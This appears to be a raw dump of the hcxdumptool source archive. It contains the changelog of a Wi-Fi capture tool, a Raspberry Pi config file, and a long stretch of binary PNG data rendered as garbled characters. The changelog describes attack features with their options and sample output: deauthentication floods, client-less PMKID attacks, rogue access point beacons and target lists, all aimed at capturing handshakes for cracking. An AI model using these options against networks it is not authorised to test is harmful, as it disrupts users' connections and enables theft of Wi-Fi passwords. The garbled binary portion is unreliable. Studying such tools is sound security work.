Corp. MT7610U ("Archer T2U" 2.4G+5G WLAN Adapter removed "USB ID 7392:a812 Edimax Technology Co., Ltd" from "known as working device list" because this driver is not working with the radiotap header. 30.03.2019 ========== hcxdumptool: added new option --silent --silent : do not transmit! hcxdumptool is acting like a passive dumper added RTL8187. Removed the wron devices from the list (only RT3070 ia affected) * USB ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter (ALFA AWUS036H) * USB ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter 29.03.2019 ========== added cflag DEBUG if compiled with DEBUG, hcxdumptool show raw packets and raw GSP data, directly received from the device removed ALFA AWUS036NH from the "known as workinging list", because the device doesn't work any longer, running kernel 5.0. 28.03.2019 ========== removed devices from "known working" list: * USB ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter (ALFA AWUS036H) * USB ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter because they are not working running kernel 5.0 27.03.2019 ========== removed wiringPi dependency now we are running "bare metal" - complete GPIO stuff moved to hcxdumptool and hcxpioff do not use wiringPi in combination with hcxdumptool and/or hcxpioff Makefile: removed DOGPIOSUPPORT hcxdumptool: changed options wiringPi options to GPIO options --gpio_button= : Raspberry Pi GPIO pin number of button (2...27) default = GPIO not in use --gpio_statusled= : Raspberry Pi GPIO number of status LED (2...27) default = GPIO not in use hcxpioff: changed options wiringPi options to GPIO options --gpio_button= : Raspberry Pi GPIO pin number of button (2...27) default = GPIO not in use --gpio_statusled= : Raspberry Pi GPIO number of status LED (2...27) default = GPIO not in use The GPIO is disabled on default. If you like to activate GPIO support you must do the hardware modifactions as described here: doc/gpiowait.odg and set the options according to your modification. You can choose every GPIO pin, as long as you use a pull down resistor to ground. Raspberry model should be detected by automatic and according to the revision we use: GPIO mem 0x20000000 for A, B, A+, B+, and Zero, Zero W(H) GPIO mem 0x3F000000 for 2B, 3B, 3A+, 3B+ compute modules (CMx) are not supported. 20.03.2019 ========== hcxdumptool: GPIO pins are no longer hard coded! --wpi_button= : wiringPi number of of button (0...31, Raspberry Pi A and B: 0 .. 16) default = 7 --wpi_statusled= : wiringPi number of status LED (0...31, Raspberry Pi A and B: 0 .. 16) default = 0 19.03.2019 ========== hcxpioff: refactored - GPIO pins are no longer hard coded! --wpi_button= : wiringPi number of of button (0...31, Raspberry Pi A and B: 0 .. 16) default = 7 --wpi_statusled= : wiringPi number of status LED (0...31, Raspberry Pi A and B: 0 .. 16) default = 0 --help : show this help --version : show version 16.03.2019 ========== added man page hcxdumptool.1 removed device from list: USB ID 7392:a812 Edimax Technology Co., Ltd (Edimax AC600 USB / Manufacturer: Realtek) because the driver from here: https://github.com/aircrack-ng/rtl8812au is no longer working on kernel 5.0 09.03.2019 ========== hcxdumptool moved to v 5.1.4 hcxdumptool: added new option: --ignore_warning : hcxdumptool will not terminate if other services take access on the device : warning: expect problems if hcxdumptool tries to change channels From now on, hcxdumptool will not terminate during the initalization if another service take access on the interface. Expect problems and do not report issues related to this option!!!! From now on, hcxdumptool will also show channel and frequency (when running option -C) 1 / 2412MHz (20 dBm) 2 / 2417MHz (20 dBm) 3 / 2422MHz (20 dBm) 4 / 2427MHz (20 dBm) 5 / 2432MHz (20 dBm) 6 / 2437MHz (20 dBm) 7 / 2442MHz (20 dBm) 8 / 2447MHz (20 dBm) 9 / 2452MHz (20 dBm) 10 / 2457MHz (20 dBm) 11 / 2462MHz (20 dBm) 12 / 2467MHz (20 dBm) 13 / 2472MHz (20 dBm) 09.03.2019 ========== hcxdumptool: added improved warning message Now hcxdumptool print the error message received from the driver inside the brackets $ hcxdumptool -i wlp3s0f0u1 -c 14 initialization... warning: unable to set channel 14 (Invalid argument) - removed this channel from scan list In this case the user tried to set channel 14. The driver doesn't support this and responds with Invalid argument 07.03.2019 ========== hcxdumptool: added debug code in main packet loop [processpackets()] to print raw GPS data, received from GPSD: /* printf("\ndebug: %s\n", gpsddata); */ uncomment this before you run make to retrieve this values. 06.03.2019 ========== hcxdumptool: added GPS date and GPS time to status and pcapng comment field. $ sudo hcxdumptool -i wlp3s0f0u1 --use_gpsd -o test.pcapng initialization... connecting to GPSD... waiting up to 5 seconds to retrieve first position GPSD activated start capturing (stop with ctrl+c) GPS LATITUDE.............: 49.126403 GPS LONGITUDE............: 4.626175 GPS ALTITUDE.............: 129.500000 GPS DATE.................: 06.03.2019 GPS TIME.................: 21:52:41 INTERFACE................: wlp3s0f0u1 ERRORMAX.................: 100 errors FILTERLIST...............: 0 entries MAC CLIENT...............: f04f7c89dabb MAC ACCESS POINT.........: 980ee432604d (incremented on every new client) EAPOL TIMEOUT............: 150000 REPLAYCOUNT..............: 61455 ANONCE...................: 182972399cd2e65deb7941601cca14b644681c092dcf6f704935c7f3d2eaceea INFO: cha=11, rx=7080, rx(dropped)=1676, tx=408, powned=10, err=0, lat=49.126342, lon=4.626268, alt=129.500000, gpsdate=06.03.2019, gpstime=22:01:55^C terminated... $ tshark -r test.pcapng-0 -Y frame.comment -T fields -E header=y -e frame.number -e frame.time -e wlan.sa -e frame.comment 172 Mar 6, 2019 23:01:48.793212000 CET 1a:f8:7c:91:24:a3 lat:49.126337,lon:4.626268,alt:129.500000,date:06.03.2019,time:22:01:48 05.03.2019 ========== hcxdumptool: removed general info about tx-power - now we use iw style to show tx-power/channel hcxdumptool -i -C initialization... available channels: 1 (20 dBm) 2 (20 dBm) 3 (20 dBm) ... 132 (26 dBm) 136 (26 dBm) 140 (26 dBm) 149 (13 dBm) 153 (13 dBm) 157 (13 dBm) 161 (13 dBm) 165 (13 dBm) 26.02.2019 ========== hcxdumptool moved to version 5.1.3 due several bug fixes and improved rcascan status output 18.02.2019 ========== release hcxdumptool v 5.1.2 due to serveral bugfixes 02.02.2019 ========== release hcxdumptool v 5.1.1 20.01.2019 ========== hcxdumptool: added new MT76 device: "TP-LINK Archer Archer T2U" working with kernel: 4.19, 4.20 (some issues), 5.0 read more here: https://github.com/ZerBea/hcxdumptool/issues/42 https://bugzilla.kernel.org/show_bug.cgi?id=202241 https://bugzilla.kernel.org/show_bug.cgi?id=202243 11.01.2019 ========== hcxdudmptool: From now on, we assume that a packet is outgoing, if dBm Antenne Signal is absent. 08.01.2019 ========== hcxdudmptool and mac80211_hwsim mac80211_hwsim is a Linux kernel module that can be used to simulate arbitrary number of IEEE 802.11 radios for mac80211. It can be used to test hcxdumptool: load module: $ sudo modprobe mac80211_hwsim run hcxdumptool to retrieve informations about the interface: $ hcxdumptool -I wlan interfaces: 020000000000 wlan0 (mac80211_hwsim) 020000000100 wlan1 (mac80211_hwsim) bring monitor interface up: $ sudo sudo ip link set hwsim0 up run hcxdumptool: $ sudo hcxdumptool -i wlan0 initialization... start capturing (stop with ctrl+c) INTERFACE:...............: wlan0 ERRORMAX.................: 100 errors FILTERLIST...............: 0 entries MAC CLIENT...............: c8aacc9c01ec MAC ACCESS POINT.........: 580943000000 (incremented on every new client) EAPOL TIMEOUT............: 150000 REPLAYCOUNT..............: 62263 ANONCE...................: 513282ebb604e6e10c450d6c3eaa6428d118b54abeef4672be3ef700052305d5 INFO: cha=11, rx=0, rx(dropped)=0, tx=120, powned=0, err=0 run wireshark on wlan0 or hwsim0 to monitor hcxdumptool output. do not forget to remove mac80211_hwsim if the module is not longer needed! read more here: https://www.kernel.org/doc/readme/Documentation-networking-mac80211_hwsim-README 04.01.2019 ========== hcxdumptool - changed flash time: LED flashes every 5 seconds = everything is fine LED stays on = no signal received during the last past five seconds hcxdumptool - ignore double outgoing packets (rth->it_present == 0) 03.01.2019 ========== hcxdumptool: changed flash time (5 times longer on ERROR) hcxpioff: changed flash time 20.12.2018 ========== improved detection of broken driver from now on GPIO LED blinks twice every 5 seconds - if a possbile driver issue is detected - if no packets received during the last past 5 seconds another indicator is that the incoming packetcounter (rx=xxxx) doesn't increase or dmesg show this error: [65786.808078] ieee80211 phy2: rt2x00queue_flush_queue: Warning - Queue 14 failed to flush [65824.174119] ieee80211 phy2: rt2x00queue_flush_queue: Warning - Queue 14 failed to flush [67801.029527] ------------[ cut here ]------------ it seems to be a kernel issue that hcxdumptool isn't able to handle, automatically: https://bbs.archlinux.org/viewtopic.php?id=237028 https://bugs.openwrt.org/index.php?do=details&task_id=929&opened=169&status%5B0%5D= https://community.spiceworks.com/topic/2132263-ubuntu-16-04-wifi-disconnects-randomly https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1750226 https://www.raspberrypi.org/forums/viewtopic.php?t=206815 workaround: 1) get driver information $ hcxdumptool -I wlan interfaces: 7cdd90xxxxxx wlp3s0f0u2 (rt2800usb) 2) remove module $ modprobe -r rt2800usb 3) load module $ modprobe rt2800usb 18.12.2018 ========== added new option to set station MAC address --station_mac= : use this MAC address for station format = 112233445566 format = 112233000000 (to set only OUI) format = 445566 (to set only NIC) added new option to set access point MAC address --ap_mac= : use this MAC address for access point as start MAC format = 112233445566 format = 112233000000 (to set only OUI) format = 445566 (to set only NIC) warning: do not use a MAC of an existing access point in your range improved detection of broken driver set default ERRORMAX to 100 added option to set ERRORMAX -T : set maximum ERRROR count (hcxdumptool terminates when the value is reached) default: 100 errors Remarks: errorcount will increase by one, if send packet (tx=xxx) > 3*incoming packets (rx=xxx) 15.12.2018 ========== improved random generator (now seeded with and adapter mac address) Raspberry Pi: improved handling of GPIO switch 07.12.2018 ========== restore interface settings after -C improved help menu -more informations about monitor mode -more informations about packet injection monitor mode and packet injection must be supported by the driver, otherwise hcxdumptool will not work. 05.12.2018 ========== moved to v 5.1.0 (according to hashcat) 04.12.2018 ========== added new option: -C : show available channels and quit 27.11.2018 ========== added new option: --poweroff : once hcxdumptool finished, power off system 26.11.2018 ========== several big endian fixes switched to version 5.0.1 07.10.2018 ========== added new option filter mode 3: --filterlist= : mac filter list format: 112233445566 + comment maximum line lenght 255, maximum entries 64 --filtermode= : mode for filter list 1: use filter list as protection list (default) in transmission branch receive everything, interact with all APs and CLIENTs in range, except(!) the ones from the filter list 2: use filter list as target list in transmission branch receive everything, only interact with APs and CLIENTs in range, from the filter list 3: use filter list as target list in receiving branch only receive APs and CLIENTs in range, from the filter list 30.10.2018 ========== moved to version 5.0.0 05.10.2018 ========== added more error messages fixed small bug in error count on channel change failure 04.10.2018 ========== show GPS position (if activated) in status line (refresh every 5 seconds) fixed broken status display on rcascan increased speed of rcascan fixed error handling if selected channels not supported by driver if option -t is not set, skip empty channels after one second improved scan list fixed some static var 01.10.2018 ========== changed order of channels in default scan list: 1, 9, 6, 3, 11, 7, 1, 10, 6, 8, 11, 4, 1, 12, 6, 2, 11, 5, 13 27.09.2018 ========== added GPSD support (stored as comment in pcapng file) --use_gpsd : use GPSD to retrieve position add latitude, longitude and altitude to every pcapng frame device must be supported by GPSD: http://www.catb.org/gpsd/hardware.html (tested using: AktivePilot JENTRO BT-GPS-8) Retrieve GPS information with: $ tshark -r filename.pcapng -Y frame.comment -T fields -E header=y -e frame.number -e frame.time -e wlan.sa -e frame.comment write mac_ap to pcapng SHB write mac_sta to pcapng SHB SHB optioncodes: #define OPTIONCODE_MACMYAP 62107 #define OPTIONCODE_RC 62108 #define OPTIONCODE_ANONCE 62109 #define OPTIONCODE_MACMYSTA 62110 16.09.2018 ========== show warning if NetworkManager and/or wpa_supplicant is running 15.09.2018 ========== added Cisco Systems, Inc VENDOR information --station_vendor= : use this VENDOR information for station 0: transmit no VENDOR information (default) 1: Broadcom 2: Apple-Broadcom 3: Sonos 4: Netgear-Broadcom 5: Wilibox Deliberant Group LLC 6: Cisco Systems, Inc 11.09.2018 ========== You can “uncomment a line” in a configuration file by removing the # at the start of the line. Or, to “comment out” a line, add a # character to the start of the line. 001122334455 myap # aabbccddeeff ignore this mac 112233445566 second ap # this is may comment 05.09.2018 ========== added Netgear Broadcom VENDOR information added Wilibox Deliberant Group LLC VENDOR information 04.09.2018 ========== improved rcascan (show time and access points which hide their ESSID) prepare detection of PMF refactored access point handling handle 4096 access points simultaneously refactored client handling handle 4096 clients simultaneously speed up retrieving PMKIDs (< 1 minute) attack access points which hide their ESSID increased filter list line length increased filter list maximum entries added option to show beacons in status output: --enable_status= : enable status messages bitmask: 1: EAPOL 2: PROBEREQUEST/PROBERESPONSE 4: AUTHENTICATON 8: ASSOCIATION 16: BEACON added option to choose station VENDOR information: --station_chipset= : use this VENDOR information for station 0: transmit no VENDOR information (default) 1: Broadcom 2: Apple-Broadcom 3: Sonos 30.08.2018 ========== iw/ip functionality added! now hcxdumptool will set monitor mode and bring up interface! previous interface settings will be restored, when hcxdumptool terminated 19.08.2018 ========== parse SAE authentication 19.08.2018 ========== added radio assignment scan --do_rcascan : show radio channel assignment (scan for target access points) --save_rcascan= : output rca scan list to file when hcxdumptool terminated --save_rcascan_raw= : output file in pcapngformat unfiltered packets including radiotap header (LINKTYPE_IEEE802_11_RADIOTAP) 17.08.2018 ========== detect NETWORK EAP authentication system transmit BROADCAST beacon 16.08.2018 ========== From now on we store open system authentications to pcapng only if they have have a vendor specific field. we are no longer interested in standard open system authentications (payload len = 6) changed some default values: -D : deauthentication interval default: 10 (every 10 beacons) the target beacon interval is used as trigger -A : ap attack interval default: 10 (every 10 beacons) --give_up_deauthentications=: disable transmitting deauthentications after n tries default: 100 tries (minimum: 4) affected: connections between client an access point deauthentication attacks will not work against protected management frames --give_up_ap_attacks= : disable transmitting directed proberequests after n tries default: 100 tries (minimum: 4) affected: client-less attack deauthentication attacks will not work against protected management frames 13.08.2018 ========== increased some attack values: --give_up_deauthentications=: disable transmitting deauthentications after n tries default: 100 tries (minimum: 4) affected: connections between client an access point deauthentication attacks will not work against protected management frames --give_up_ap_attacks= : disable transmitting directed proberequests after n tries default: 100 tries (minimum: 4) 07.08.2018 ========== moved to 4.2.1 added communication between hcxdumptool and hcxpcaptool via pcapng option fields: 62108 for REPLAYCOUNT uint64_t 62109 for ANONCE uint8_t[32] enabled hardware handshake instead of software handshake changed beavior auf status: --enable_status= : enables status messages bitmask: 1: EAPOL 2: PROBEREQUEST/PROBERESPONSE 4: AUTHENTICATON 8: ASSOCIATION Now we use a bitmask to deliver status messages. 06.08.2018 ========== write ISB (Interface Statistic Block) at the end of a cpature 04.08.2018 ========== addet new option (--disable-active_scan) to hcxdumptool --disable_active_scan: do not transmit proberequests to BROADCAST using a BROADCAST ESSID 04.08.2018 ========== release hcxdumptool 4.2.0 complete refactored: -various new options -measurement of EAPOL timeout -full support for hashcat hashmodes -m 16800 and 16801 -now default format is pcapng $ ./hcxdumptool-bleeding --help hcxdumptool 4.2.0 (C) 2018 ZeroBeat usage : hcxdumptool example: hcxdumptool -o output.pcapng -i wlp39s0f3u4u5 -t 5 --enable_status options: -i : interface (monitor mode must be enabled) ip link set down iw dev set type monitor ip link set up -o : output file in pcapngformat management frames and EAP/EAPOL frames including radiotap header (LINKTYPE_IEEE802_11_RADIOTAP) -O : output file in pcapngformat unencrypted IPv4 and IPv6 frames including radiotap header (LINKTYPE_IEEE802_11_RADIOTAP) -W : output file in pcapngformat encrypted WEP frames including radiotap header (LINKTYPE_IEEE802_11_RADIOTAP) -c : set scanlist (1,2,3,...) default scanlist: 1, 3, 5, 7, 9, 11, 13, 2, 4, 6, 8, 10, 12 maximum entries: 127 allowed channels: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 34, 36, 38, 40, 42, 44, 46, 48, 52, 56, 58, 60, 62, 64 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144, 147, 149, 151, 153, 155, 157 161, 165, 167, 169, 184, 188, 192, 196, 200, 204, 208, 212, 216 -t : stay time on channel before hopping to the next channel default: 5 seconds -E : EAPOL timeout default: 100000 = 1 second value depends on channel assignment -D : deauthentication interval default: 20 (every 20 beacons) the target beacon interval is used as trigger -A : ap attack interval default: 20 (every 20 beacons) the target beacon interval is used as trigger -I : show suitable wlan interfaces and quit -h : show this help -v : show version --filterlist= : mac filter list format: 112233445566 + comment maximum line lenght 128, maximum entries 32 --filtermode= : mode for filter list 1: use filter list as protection list (default) 2: use filter list as target list --disable_deauthentications: disable transmitting deauthentications affected: connections between client an access point deauthentication attacks will not work against protected management frames --give_up_deauthentications=: disable transmitting deauthentications after n tries default: 10 tries (minimum: 4) affected: connections between client an access point deauthentication attacks will not work against protected management frames --disable_disassociations : disable transmitting disassociations affected: retry (EAPOL 4/4 - M4) attack --disable_ap_attacks : disable attacks on single access points affected: client-less (PMKID) attack --give_up_ap_attacks= : disable transmitting directed proberequests after n tries default: 10 tries (minimum: 4) affected: client-less attack deauthentication attacks will not work against protected management frames --disable_client_attacks : disable attacks on single clients points affected: ap-less (EAPOL 2/4 - M2) attack --enable_status : enable status messages --help : show this help --version : show version 01.08.2018 ========== moved some stuff from hcxtools to hcxdumptool repository prepare complete refactoring! 04.03.2018 ========== hcxdumptool: added new option -W -W : WEP encrypted packets output file in pcapformat including radiotap header (LINKTYPE_IEEE802_11_RADIOTAP) 04.03.2018 ========== hcxdumptool again complete refactored: 02.03.2018 ========== hcxdumptool is complete refactored: - improved scan engine - improved authentication engine (incl. Radio Measurement, and NULL frame detection) - dropped timer - use threads for LED and channel switch - use only one file descriptor for raw socket operations - working on Intel Corporation Centrino Ultimate-N 6300 (rev 3e) WiFi adapter (kernel >= 4.15) - working on Alfa AWUS036NH, Alfa AWUS036NHA - working on Alfa AWUS036ACH (driver: https://github.com/kimocoder/rtl8812au) - more channels allowed (depends on installed wireless regulatory domain) - simple usage: hcxdumptool -i -o dumpfile.pcap -t 5 interface (real interface - no monX) must be in monitor - all services/programs with access to the interface must be stopped! - new format of blacklist - and more... reported to run on Gentoo https://github.com/ZerBea/hcxdumptool_bleeding_testing/issues/2#issuecomment-369256915 reported to run on OpenWRT/LEDE https://github.com/ZerBea/hcxdumptool_bleeding_testing/issues/3#issuecomment-369756725 reported to run with Intel Corporation Centrino Ultimate-N 6300 (rev 3e) https://github.com/ZerBea/hcxdumptool_bleeding_testing/issues/2#issuecomment-369259800 $ hcxdumptool -h hcxdumptool 4.1.0 (C) 2018 ZeroBeat usage: hcxdumptool options: -i : interface (monitor mode must be eanabled) ip link set down iw dev set type monitor ip link set up -o : output file in pcapformat including radiotap header (LINKTYPE_IEEE802_11_RADIOTAP) -O : ip based traffic output file in pcapformat including radiotap header (LINKTYPE_IEEE802_11_RADIOTAP) -c : set scanlist (1,2,3,... / default = default scanlist) default scanlist: 1, 3, 5, 7, 9, 11, 13, 2, 4, 6, 8, 10, 12 allowed channels: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 36, 40, 44, 48, 52, 56, 60, 64 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 147, 151, 155, 167 -t : stay time on channel before hopping to the next channel default = 5 seconds -T : terminate after maximal errors : default: 1000000 -D : do not transmit deauthentications or disassociations -R : do not transmit requests -A : do not respond to requests from clients -B : blacklist (do not deauthenticate clients from this hosts) format = mac_ap:mac_sta:ESSID 112233445566:aabbccddeeff:networkname (max. 32 chars) -P : enable poweroff -s : enable status messages -I : show suitable wlan interfaces and quit -h : show this help -v : show version 27.02.2018 ========== Now recommendations since we are run into heavy problems with latest drivers and operating systems * Operatingsystem: archlinux (strict), Kernel >= 4.14 (strict) * Raspberry Pi A, B, A+, B+ (Recommended: A+ = very low power consumption or B+), but notebooks and desktops could work, too. * GPIO hardware mod recommended Supported adapters (strict) * USB ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter * USB ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter * USB ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter * USB ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter * USB ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter 25.02.2018 ========== - initial start of this repository - added hcxdumptool - added hcxpioff hcxdumptool-6.3.5/docs/000077500000000000000000000000001471436103500150275ustar00rootroot00000000000000hcxdumptool-6.3.5/docs/config.txt000066400000000000000000000005561471436103500170430ustar00rootroot00000000000000# See /boot/overlays/README for all available options gpu_mem=64 initramfs initramfs-linux.img followkernel max_usb_current=1 hdmi_blanking=1 dtoverlay=pi3-disable-bt dtoverlay=pi3-disable-wifi dtparam=audio=off dtparam=watchdog=on disable_splash=1 tparam=pwr_led_trigger=none dtparam=pwr_led_activelow=off dtparam=act_led_trigger=none dtparam=act_led_activelow=on hcxdumptool-6.3.5/docs/example-pic-1.png000066400000000000000000001360151471436103500201050ustar00rootroot00000000000000PNG  IHDR`S"bKGD IDATxyssh_b-h0Ϛ 2K,YC)mdK=RTR]=UKG~#yysW=-ZP֢{u @(hB!@ PB 4E_h4Fhx<nٲ%hDgdddy,bAnܸfڵkU\!%%%###????? W\+F"D֭[m@HMMN:իZVVȑ#z衼R"lٲ{ZRիO>lذ3f*Kiii*T(Oeff-[bP;⊞={/_*TвeX,6eʔbM7t-4iҤB XB M49ST2yD" Dʕ+HKK-qUn1ҢE:v5jwyf*b͛?YYY:t(o>묳rrrxѣGXVZ;w 222ӧp͖-[233wFٰa-FK5b5 (>A0s+-[,_|.]t_|999ݻw/={h4+e6h׺]OS`Oֽ{ xٳgٳg2wguVA2==}IKK-8EF/dƍ3gwܱv *UԷo͛o~'XhժUG.ѣGCyw쥥 %ɶFnj󓅅E9䐁^A{m7^dmQJJ*AXG ^?>TsY Ů\ps_X&[[ニ 80H4jhŊ7|mqO_5kԨQVZK.ZjƦ/!t"СCƍ {YYY})hA\OC[,FL6-Ν;h.]/W^^^nnnlٲe˖j1/!߈aÆu .HYm1}snjժ g} }nР铝[44PR3f6lX=}!C5jŊkҥKϞ=׬Yxݽ*Y;vl̏ R)-ׯ>'Aw}^[R"H{ݻwDvvvժUܫWUVƝE;./;wd׷ mI&_}-Rps>}ƍ#-Z(>| rX{Ѳejժ^zڴiÆ [x#<ҤI yjժ8HvvvoIntw@geeըQy3g,brR R̜9Hx%4xwL񜜜!''b*X=rȞ={>%YyĈξK˗?t 6mJOO/՜%M6bڵk|iӦԯ_B EraÆ=#*͛_ydKH$wgׯ_uV[ J;4oGFFFfff~dÆ 999Xtw@vlݺu֭iii%"H_>77/譩Es`h EѴh4F x<77w˖-a|ޯ`4I 4 @(hB!@ PB )WPJ嬔ݽbkDHI$RҪlhBa vRjjj:u233 ظqsss?*@3RSS4i}gTR˼%vPŎ o;i˞3ʻ:r$%Bo},oɟ&fP:u)))uņX>7zowߡUAv ^uP5Z\w'|ӏƞ_/ȔrMNim݌'_ëDhKl˦~=ojwM}w_쾍1ӳ,h',`8JуGjڥϭI7;~r7qݝ(z5eGLyH!-tN?{7Ae'ZqÅWE+dkt)glj*5ǿ0'WAAMå/qGj=A^2v3BA Lyo9[KYu[_Tߧ~*vWܒT)|j’A~'}jgonj۰QQzĦYsҩͺs?^0%;;|}|Ƹg^%Zdˆz6iz/&_0i{/rZB HʁC5rg_sMDˣu{z681˧O?^Ldu>4~oA,8E<㏸71z߼~? |i%<,zLr}曵ξYqX ou5]ɋׯ_#xzdFAJ>s[M_~s"+FO'6:ăn~{S>Nr;-W'5=ws<iO^~UZԇcj'>0w7vLLվr$}E߰߿{5-O\G n2qھ@~u=&"߾7^ܡEJ)Z5/̟kvNuO/|i5v׏?=凯j7lTJ5,&Zk߆% ~" {yq Rhlǟ}3zD?Ttޫrduz%h՜V͙%g8*77?wb]dc8{?gL|M=rȭ/?iw=TR0t!z`yŎzMFyqAg9qmA|HzJ֫6t6Kƌ]?&=?S8>|}>wn),)g\W` Xvm m jXDk"{c0^{\o󂥙׍A^2;o{ŎUS3ϋv#3W_ƧfӖ5^'? Oۆ/Ogu;m/|˴}x^znm y.[Y^~ia/^w5{_rɯ b{s1ؕ +rkf|M +3Uai_s\x+qw>6}dvQZ*3c7Agֻ<(v̊U~Gx-/zS+b(FQ$fDjգ.#O<7?XkT- ҡi) ZZ;|io*b5^kǫ2*bm^EJϽy`=7v3P.{v3]-f층_~2;~7u3gL!q%w8Ɏ..*{Uٴvu1i9FPquᕲO|Iz<|H }u*=u/ZN} $˃ DޖxbܴE|]v9Kl{ߊ/xAv٩XfkfJ?58???9 =?O.s=d؋O;gKE\AP0w9+oU*E,VRyӆu H$槊ŢD<8A/fLz壯[O~شyIuhڳߝ5_Dƛ+<{ K kvgA0'~j\]qXEŌi]Kzk~7*6>Ok_G~>]9Ymjrn7KxjX\,lH9>'_ru2J9RU:n d6r^9ߔt-i̹p{`r~ZK~}O!N*&ŗtڿMtiO$'>]}tX|elXϙX>}~ov _I<F}:׷m\1#RRJdOǴޜ`oqV-j˾kcg>eW]ۍTiإ_T5휤^\w% ®_?}-Jx%m_L~knY r]S?~{>+l_mzݺdaG֮o}3eS'ιȢ0vW=_-{^/8HMv>{ԆgwC.Oˬ_6oN͈1jDs9Agr,W"R]=D$pO/Fv FӦM ]aأgvz޽¾gq62 8]>qK[鉾j\dK?7ƽ87Q'H㯾f3eKL)AAC.dHfkW*lb/':m*~ix:w/6$?}q(|yAF.W{웋L)A{=iLf_~x;57>b_Mҋ)|j’A~'}j (|(l Rjrio3dh0|q#f9 "o'4:}3nmXú6?v~3퉞cE_ ZA^븯 (|(t [iڷ?驷{MmlV}q}l߭)7 rD$Va'kY>kOlt  Z.~Ԯ掗{ާ9_s(2dLDkq[O_;<~ܝO}2pަgRym67N|鈇ݷl{p_;iSqT<ۿ[Xj}j%xE/.MV)Ǐ$rr2j7?ŖiORcI].o]zoE<%q1=>K3;4 /ܜ pDGO2~AoUojļiVUQg{Gf_펭?oq}慥;zMF]|&IEoi/,/Ħş+J}߂q ~ڈAzo:S'ͨU;:N}&ֿȰ/Rؼv]^*{g7 V /buYŜ%'A}Ew]tx?_+_>#klͬT)Xd  {{oZVg]t-I·iͯ_JCtܾ)UF&'ξYŕ\^.y9ҡi) ZZ;|ip7 _gBXݮ]</ V~f=Qoz_}S#[wѰ/w[K?u[͝׸š_1gޔAdydŊU[W%'g<|G5ly~ѣC!{moG| |tMv>$?yE9Yt/z|MqW~jMO V3[3#/ auv9A.^?Ru^'ߦm:ߦK,fP{+/|зuSVP:NǯhӸ|4Rjѫoc7~RN`OmU s赽ZTF~5-wlV<|bnƂHZtAJ~z-9[A$c?)v_HBn}Ϯ5wW%WhD2t9MtoϦ>A뀣٩)߱][UM _^)n_[TZdF YB,;}8ϚuhS|vH厃_65H\Rs{l8v]—'^68EOGm]]իW[m;p;^:t-cy+g=w [&zcAVǏ|/>ߪ|7*Qo{뮸5b '? [J~Gƾz׫OyeȋoaB|Wk~c覥c1xۿī7L/|k:vm"8 rYKwG5>z3?6#$ijMtm9NԔOzpƶ)DG>x}~7oҡ~4}牵MoN_;;'Ң|ݽb2n*챴  a,=>쑲6mZ g.84BUIoݲac{|@ 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 @(hB!@ PB 4 y\iѢ$KG&1}0o3cb0eu0h0/dlV%{RD"9? ө8>is}5^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 0uoBabbthpCIg}zXȒ_߻wqrٯv+kn*N8Q9b2ez8w,si>e_^s皖w`ܩ#I1N;u0.l7%wVeDgƝ aGԭ]{8'r>ny"h\e!PŞ/&mºa۷y(zTygrǰǂcCco=0o E^CXuAQu'o/u=_}ĹW7m+\P^!ĩXU+"?qsS*|v仍`ߊ^׹0$;}KVSa |Z5sy^k}fvdvv kФKe&m,JῴݳZ GD$<m|f_ޒxnw]64zj>FUƮ->w0`QK{8)hB.iNoÕ:85Ӯ/rcы%(|o?#joYsxEZXHG5~YkJǘ?uqvGpz5 =r馍,VeF?a߼a䠟!kViގh̻{3G⃆בxWq!_+艎~F;ۣA ^䢹dYBztSYn}㷶g֡ZSaPiԺ ʯdM2v΋!qf<  hQÇ_N~ļ,>I!- }^(:^YkBU:HFwnq_!n\y|ϩQr[/;:T IDAT{nfFLڽ|ߑ4Ŝ*?eBI`YM[=shg3SN^-c' siZ]!DĬNMrA2H%[thsq &Iӗ?NO_pl:#ļg7ssƝ{@xǁMۖnorE/)qYZ!7-`yzNyV?H|PtIC!2aQ}BF#+^d 5&^pHabb, !T]T5O8c[O?*x8Cջ[qYC!kiBHϾpӧ mNƶD͛jdTq 5K䤇fER${ dۆ%ת|:ɫ+3kR^3pZt`+w3f5R}/hhC&9ĹrM<}Ȫ, S j^RBdFF\YlvXS)u[-~>;S[?PV6ֹԷڵcg@} 9UVhP:tZwm܎3W,K/:١]wnIKźG9u:ύ8xO'g2 yDnMLߣUͳ<_SkkL9V !~{Y;ɉ y_vtvPhW)x'}M ?z*=_ӎ>_eR0wǚ)S߉.lOio[}B;$Ԥ^=};ſk]-ӷ[^0[kSCsS]d;C ߢ뜾ٙ8h4"_"MwS'sCfY#Oػu<5|Nk 